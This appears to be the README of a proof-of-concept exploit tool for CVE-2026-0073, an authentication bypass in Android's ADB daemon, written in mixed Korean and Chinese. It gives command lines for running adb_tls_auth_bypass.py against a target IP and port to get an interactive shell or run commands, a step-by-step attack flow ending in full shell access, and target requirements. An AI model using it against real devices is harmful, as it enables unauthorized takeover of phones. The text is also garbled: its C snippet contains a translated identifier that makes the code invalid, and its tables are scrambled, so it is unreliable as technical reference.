
CVE-2026-0073-Android-ADBD-bypass-POC중국어판
Android의 ADB 데몬(adbd)에는 로컬 네트워크의 모든 공격자가 사용자 인증 없이 대상 기기에서 전체 셸 권한을 얻을 수 있게 하는 치명적인 인증 우회 취약점이 존재합니다.
이 취약점은 daemon/auth.cpp 파일의 adbd_tls_verify_cert() 함수에 존재하며, 여기서 EVP_PKEY_cmp()가 부울 값으로 사용됩니다. 저장된 키가 RSA 키이고 제공된 TLS 클라이언트 인증서가 RSA가 아닌 키(EC P-256 또는 Ed25519)를 담고 있을 때 EVP_PKEY_cmp()는 -1(유형 불일치)을 반환하며, 이는 C/C++에서 참(true) 이므로 authorized = true가 됩니다.
// daemon/auth.cpp 中的易受攻击代码模式
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值!
已授权 = true;
}
pip install cryptography
# 交互式 shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# 单命令执行
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# 详细模式(查看完整协议跟踪)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
기본적으로 스크립트는 성공할 때까지 EC P-256 → Ed25519 → EC/TLS 1.2를 자동으로 시도합니다.
攻击者目标(adbd)
│ │
│──── TCP 连接 ──────────────────►│
│──── CNXN(明文)────────────►│
│◄─── STLS(TLS 升级请求)──│
│──── STLS 回复 ──────────────────►│
│ │
│════ TLS 1.3 握手 ════════════│
│(已提交 EC P-256 客户证书)│
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 为真 → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN(设备信息)──────────│
│──── 打开“shell:” ───────────────►│
│◄─── 好的 ────────────────────────│
│◄──► WRTE/OKAY(shell I/O)──────►│
│ │
【完全 shell 访问权限】
| 요구 사항 | 상세 |
|---|---|
| 개발자 옵션 |
⚠️ 중요 참고 사항: RSA 키는 /data/misc/adb/adb_keys 파일에 있어야 하며, 이 파일은 USB 디버깅 페어링("USB 디버깅 허용?" 대화상자 수락)을 통해 채워집니다. 무선 디버깅 페어링(adb pair)은 키를 다른 위치(adb_known_hosts.pb)에 저장하므로 이 요구 사항을 충족하지 않습니다.
adb shell getprop ro.build.version.security_patch
다음 기기에서 정상 작동이 확인되었습니다:
内核:6.1.23-android14-4-00257-g7e35917775b8-ab9964412
平台:Android 14(Android Studio 模拟器)
이 포크에는 다음과 같은 개선 사항이 포함되어 있습니다:
select() 대신 스레드 I/O를 사용하여 크로스 플랫폼 지원-v 플래그로 상세 프로토콜 추적 정보 표시CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # 主漏洞利用脚本
└── README.md # 此文件
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용하십시오. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 테스트 전에 반드시 적절한 승인을 받으십시오. 저자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다.
이 내용이 여러분의 연구에 도움이 되었다면 ⭐을 눌러 주세요
EVP_PKEY_cmp() 반환값 | 의미 | C 언어에서 참? | 결과 |
|---|
1 | 키 일치 | ✅ | 승인됨(정상) |
0 | 키 값이 다름 | ❌ | 거부됨(정상) |
-1 | 유형 불일치 | ✅ | 승인됨(BUG) |
| 대상 기기에서 활성화되어 있어야 함 |
| 무선 디버깅 | 활성화됨(또는 TCP 포트 5555에서 ADB 사용) |
| 저장된 RSA 키 | 기기가 USB를 통해 최소 한 번 페어링되어야 함(/data/misc/adb/adb_keys) |
| 네트워크 접근 | 공격자가 adbd TCP 포트에 접근할 수 있어야 함 |